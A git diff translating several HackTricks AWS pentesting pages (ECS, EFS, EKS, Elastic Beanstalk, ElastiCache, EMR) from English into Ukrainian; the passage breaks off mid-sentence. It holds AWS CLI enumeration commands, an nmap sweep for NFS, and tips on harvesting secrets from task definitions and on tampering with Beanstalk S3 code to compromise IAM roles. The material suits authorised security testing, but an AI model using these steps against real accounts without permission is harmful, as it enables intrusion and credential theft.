b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..9c1b9e1c0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,31 +4,30 @@ ## ECS -### Basic Information +### Основна інформація -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** або ECS надає платформу для **хостингу контейнеризованих додатків у хмарі**. ECS має два **методи розгортання**, тип інстансу **EC2** та **безсерверний** варіант, **Fargate**. Ця служба **дозволяє дуже легко та безболісно запускати контейнери в хмарі**. -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS працює, використовуючи три основні елементи: **Кластери**, **Служби** та **Визначення завдань**. -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Кластери** — це **групи контейнерів**, які працюють у хмарі. Як вже згадувалося, існують два типи запуску контейнерів: EC2 та Fargate. AWS визначає тип запуску **EC2** як можливість для клієнтів “запускати \[свої\] контейнеризовані додатки на кластері інстансів Amazon EC2, які \[вони\] **керують**”. **Fargate** подібний і визначається як “\[дозволяючи\] вам запускати ваші контейнеризовані додатки **без необхідності надавати та керувати** бекенд-інфраструктурою”. +- **Служби** створюються всередині кластера і відповідають за **виконання завдань**. У визначенні служби **ви визначаєте кількість завдань для виконання, автоматичне масштабування, постачальника потужностей (Fargate/EC2/External),** **мережеву** інформацію, таку як VPC, підмережі та групи безпеки. +- Існує **2 типи додатків**: +- **Служба**: Група завдань, що обробляє тривалу обчислювальну роботу, яку можна зупинити та перезапустити. Наприклад, веб-додаток. +- **Завдання**: Самостійне завдання, яке виконується та завершується. Наприклад, пакетна робота. +- Серед службових додатків є **2 типи планувальників служб**: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Стратегія планування реплік розміщує та **підтримує бажану кількість** завдань у вашому кластері. Якщо з якоїсь причини завдання зупиняється, нове запускається на тому ж або іншому вузлі. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Розгортає точно одне завдання на кожному активному контейнерному інстансі, який має необхідні вимоги. Немає необхідності вказувати бажану кількість завдань, стратегію розміщення завдань або використовувати політики автоматичного масштабування служби. +- **Визначення завдань** відповідають за **визначення того, які контейнери будуть запущені** та різних параметрів, які будуть налаштовані з контейнерами, таких як **відображення портів** з хостом, **змінні середовища**, Docker **точка входу**... +- Перевірте **змінні середовища на наявність чутливої інформації**! -### Sensitive Data In Task Definitions +### Чутливі дані у визначеннях завдань -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +Визначення завдань відповідають за **налаштування фактичних контейнерів, які будуть працювати в ECS**. Оскільки визначення завдань визначають, як будуть працювати контейнери, всередині можна знайти безліч інформації. -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. - -### Enumeration +Pacu може перераховувати ECS (list-clusters, list-container-instances, list-services, list-task-definitions), він також може вивантажувати визначення завдань. +### Перерахування ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### Підвищення привілеїв -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами ECS для підвищення привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Постійність {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..09cb0a404 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,22 +4,21 @@ ## EFS -### Basic Information +### Основна інформація -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS) представлений як **повністю керована, масштабована та еластична мережна файлова система** від AWS. Сервіс полегшує створення та налаштування **файлових систем**, до яких можуть одночасно отримувати доступ кілька EC2-екземплярів та інших сервісів AWS. Ключові особливості EFS включають його здатність автоматично масштабуватися без ручного втручання, забезпечувати доступ з низькою затримкою, підтримувати навантаження з високою пропускною здатністю, гарантувати довговічність даних та безперешкодно інтегруватися з різними механізмами безпеки AWS. -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +За **замовчуванням**, папка EFS для монтування буде **`/`**, але вона може мати **іншу назву**. -### Network Access +### Мережевий доступ -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +EFS створюється в VPC і буде **за замовчуванням доступний у всіх підмережах VPC**. Однак EFS матиме групу безпеки. Щоб **надати доступ EC2** (або будь-якому іншому сервісу AWS) для монтування EFS, потрібно **дозволити в групі безпеки EFS вхідне правило NFS** (порт 2049) **з групи безпеки EC2**. -Without this, you **won't be able to contact the NFS service**. +Без цього ви **не зможете зв'язатися з NFS-сервісом**. -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) - -### Enumeration +Для отримання додаткової інформації про те, як це зробити, перегляньте: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +### Перерахування ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. +> Можливо, що точка монтування EFS знаходиться в тій же VPC, але в іншій підмережі. Якщо ви хочете бути впевненими, що знайдете всі **точки EFS, краще просканувати мережу з маскою `/16`**. ### Mount EFS - ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` - ### IAM Access -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +За **замовчуванням** будь-хто з **мережевим доступом до EFS** зможе монтувати, **читати та записувати його навіть як користувач root**. Однак, політики файлової системи можуть бути встановлені, **дозволяючи доступ лише принципалам з конкретними дозволами**.\ +Наприклад, ця політика файлової системи **не дозволить навіть монтувати** файлову систему, якщо ви **не маєте дозволу IAM**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +Або це **запобіжить анонімному доступу**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +Зверніть увагу, що для монтування файлових систем, захищених IAM, ВИ ПОВИННІ використовувати тип "efs" у команді монтування: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` - ### Access Points -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. +**Точки доступу** є **специфічними для застосунків** точками входу **в систему файлів EFS**, які спрощують управління доступом застосунків до спільних наборів даних. -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +Коли ви створюєте точку доступу, ви можете **вказати власника та POSIX дозволи** для файлів і каталогів, створених через точку доступу. Ви також можете **визначити власний кореневий каталог** для точки доступу, вказавши існуючий каталог або створивши новий з бажаними дозволами. Це дозволяє вам **контролювати доступ до вашої системи файлів EFS на основі кожного застосунку або користувача**, що спрощує управління та захист ваших спільних файлових даних. +**Ви можете змонтувати систему файлів з точки доступу за допомогою чогось на зразок:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> Зверніть увагу, що навіть намагаючись змонтувати точку доступу, вам все ще потрібно **зв'язатися з NFS сервісом через мережу**, і якщо у EFS є файлова система **політика**, вам потрібні **достатні IAM дозволи** для її монтування. -Access points can be used for the following purposes: +Точки доступу можуть використовуватися для наступних цілей: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **Спрощення управління дозволами**: Визначивши POSIX користувача та групу для кожної точки доступу, ви можете легко керувати дозволами доступу для різних додатків або користувачів без зміни дозволів основної файлової системи. +- **Забезпечення кореневої директорії**: Точки доступу можуть обмежити доступ до конкретної директорії в файловій системі EFS, забезпечуючи, що кожен додаток або користувач працює в своїй призначеній папці. Це допомагає запобігти випадковому витоку або модифікації даних. +- **Легший доступ до файлової системи**: Точки доступу можуть бути асоційовані з функцією AWS Lambda або завданням AWS Fargate, спрощуючи доступ до файлової системи для безсерверних та контейнеризованих додатків. ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..981b7ce43 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) призначений для усунення необхідності для користувачів встановлювати, експлуатувати та керувати власною контрольованою плоскостю Kubernetes або вузлами. Натомість Amazon EKS керує цими компонентами, забезпечуючи спрощений спосіб розгортання, управління та масштабування контейнеризованих додатків за допомогою Kubernetes на AWS. -Key aspects of Amazon EKS include: +Ключові аспекти Amazon EKS включають: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Керована контрольна плоскость Kubernetes**: Amazon EKS автоматизує критично важливі завдання, такі як патчинг, постачання вузлів та оновлення. +2. **Інтеграція з AWS Services**: Він пропонує безшовну інтеграцію з AWS services для обчислень, зберігання, бази даних та безпеки. +3. **Масштабованість та безпека**: Amazon EKS розроблений для високої доступності та безпеки, забезпечуючи такі функції, як автоматичне масштабування та ізоляція за замовчуванням. +4. **Сумісність з Kubernetes**: Додатки, що працюють на Amazon EKS, повністю сумісні з додатками, що працюють в будь-якому стандартному середовищі Kubernetes. #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - -#### Post Exploitation +#### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## Посилання - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..15d95205c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk надає спрощену платформу для **розгортання, управління та масштабування веб-додатків і сервісів**. Він підтримує різноманітні мови програмування та фреймворки, такі як Java, .NET, PHP, Node.js, Python, Ruby та Go, а також контейнери Docker. Сервіс сумісний з широко використовуваними серверами, включаючи Apache, Nginx, Passenger та IIS. -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk надає простий і гнучкий спосіб **розгортання ваших додатків у хмарі AWS**, без необхідності турбуватися про підлягаючу інфраструктуру. Він **автоматично** обробляє деталі **постачання** потужностей, **балансування навантаження**, **масштабування** та **моніторингу** стану додатка, дозволяючи вам зосередитися на написанні та розгортанні вашого коду. -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +Інфраструктура, створена Elastic Beanstalk, управляється **групами автоматичного масштабування** в **EC2** (з балансувальником навантаження). Це означає, що в кінці дня, якщо ви **компрометуєте хост**, вам слід знати про EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +Більше того, якщо використовується Docker, можливо використовувати **ECS**. {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### Додаток і середовища -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +У AWS Elastic Beanstalk поняття "додаток" і "середовище" виконують різні функції та мають різні ролі в процесі розгортання. -#### Application +#### Додаток -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Додаток в Elastic Beanstalk є **логічним контейнером для вихідного коду вашого додатка, середовищ і конфігурацій**. Він об'єднує різні версії вашого коду додатка та дозволяє вам управляти ними як єдиним цілим. +- Коли ви створюєте додаток, ви надаєте ім'я та **опис, але на цьому етапі ресурси не постачаються**. Це просто спосіб організувати та управляти вашим кодом і пов'язаними ресурсами. +- Ви можете мати **кілька версій додатка** в межах одного додатка. Кожна версія відповідає конкретному випуску вашого коду, який може бути розгорнутий в одному або кількох середовищах. -#### Environment +#### Середовище -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- Середовище є **постаченою інстанцією вашого додатка**, що працює на інфраструктурі AWS. Це **місце, де ваш код додатка розгортається та виконується**. Elastic Beanstalk постачає необхідні ресурси (наприклад, інстанції EC2, балансувальники навантаження, групи автоматичного масштабування, бази даних) на основі конфігурації середовища. +- **Кожне середовище виконує одну версію вашого додатка**, і ви можете мати кілька середовищ для різних цілей, таких як розробка, тестування, стадіювання та виробництво. +- Коли ви створюєте середовище, ви вибираєте платформу (наприклад, Java, .NET, Node.js тощо) та тип середовища (наприклад, веб-сервер або робітник). Ви також можете налаштувати конфігурацію середовища, щоб контролювати різні аспекти інфраструктури та налаштувань додатка. -### 2 types of Environments +### 2 типи середовищ -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Середовище веб-сервера**: Воно призначене для **хостингу та обслуговування веб-додатків і API**. Ці додатки зазвичай обробляють вхідні HTTP/HTTPS запити. Середовище веб-сервера постачає ресурси, такі як **інстанції EC2, балансувальники навантаження та групи автоматичного масштабування**, щоб обробляти вхідний трафік, управляти потужностями та забезпечувати високу доступність додатка. +2. **Середовище робітника**: Воно призначене для обробки **фонових завдань**, які часто є трудомісткими або ресурсомісткими операціями, що не вимагають негайних відповідей клієнтам. Середовище робітника постачає ресурси, такі як **інстанції EC2 та групи автоматичного масштабування**, але **не має балансувальника навантаження**, оскільки не обробляє HTTP/HTTPS запити безпосередньо. Натомість воно споживає завдання з **черги Amazon Simple Queue Service (SQS)**, яка діє як буфер між середовищем робітника та завданнями, які воно обробляє. -### Security +### Безпека -When creating an App in Beanstalk there are 3 very important security options to choose: +При створенні додатка в Beanstalk є 3 дуже важливі параметри безпеки для вибору: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **EC2 ключова пара**: Це буде **SSH ключ**, який зможе отримати доступ до інстанцій EC2, що виконують додаток. +- **IAM профіль інстанції**: Це **профіль інстанції**, який матимуть інстанції (**привілеї IAM**). +- Автоматично згенерована роль називається **`aws-elasticbeanstalk-ec2-role`** і має деякі цікаві доступи до всіх ECS, всіх SQS, DynamoDB elasticbeanstalk та elasticbeanstalk S3, використовуючи керовані політики AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Роль служби**: Це **роль, яку використовуватиме служба AWS** для виконання всіх необхідних дій. Наскільки мені відомо, звичайний користувач AWS не може отримати доступ до цієї ролі. +- Ця роль, згенерована AWS, називається **`aws-elasticbeanstalk-service-role`** і використовує керовані політики AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) та [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) -By default **metadata version 1 is disabled**: +За замовчуванням **версія метаданих 1 вимкнена**:
-### Exposure +### Вразливість -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Дані Beanstalk зберігаються в **S3 бакеті** з наступною назвою: **`elasticbeanstalk--`** (якщо він був створений у консолі AWS). Всередині цього бакету ви знайдете завантажений **вихідний код додатка**. -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +**URL** створеної веб-сторінки є **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> Якщо ви отримаєте **доступ на читання** до бакету, ви зможете **читати вихідний код** і навіть знайти **чутливі облікові дані** в ньому. > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> Якщо ви отримаєте **доступ на запис** до бакету, ви зможете **модифікувати вихідний код**, щоб **компрометувати** **IAM роль**, яку використовує додаток наступного разу, коли він буде виконаний. +### Перерахування ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### Персистентність {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### Підвищення привілеїв {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..e903b229e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache - це повністю **керований сервіс зберігання даних у пам'яті та кешування**, який забезпечує високу продуктивність, низьку затримку та масштабовані рішення для додатків. Він підтримує два популярні відкриті ін-memory движки: **Redis та Memcached**. ElastiCache **спрощує** **налаштування**, **управління** та **обслуговування** цих движків, дозволяючи розробникам зменшити час на виконання трудомістких завдань, таких як постачання, патчинг, моніторинг та **резервне копіювання**. ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - ### Privesc (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..4a560d439 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +Служба Elastic MapReduce (EMR) від AWS, починаючи з версії 4.8.0, представила функцію **конфігурації безпеки**, яка покращує захист даних, дозволяючи користувачам вказувати налаштування шифрування для даних в спокої та в русі в межах кластерів EMR, які є масштабованими групами EC2-екземплярів, призначеними для обробки великих даних, таких як Apache Hadoop і Spark. -Key characteristics include: +Ключові характеристики включають: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **За замовчуванням шифрування кластера**: За замовчуванням дані в спокої в межах кластера не шифруються. Однак увімкнення шифрування надає доступ до кількох функцій: +- **Уніфікована настройка ключів Linux**: Шифрує обсяги EBS кластера. Користувачі можуть вибрати службу управління ключами AWS (KMS) або постачальника ключів на замовлення. +- **Шифрування HDFS з відкритим кодом**: Пропонує два варіанти шифрування для Hadoop: +- Захищений Hadoop RPC (віддалений виклик процедур), налаштований на конфіденційність, використовуючи Simple Authentication Security Layer. +- Шифрування передачі блоків HDFS, налаштоване на true, використовує алгоритм AES-256. +- **Шифрування в русі**: Сфокусовано на захисті даних під час передачі. Варіанти включають: +- **Шифрування з відкритим кодом Transport Layer Security (TLS)**: Шифрування можна увімкнути, вибравши постачальника сертифікатів: +- **PEM**: Вимагає ручного створення та упаковки сертифікатів PEM у zip-файл, на який 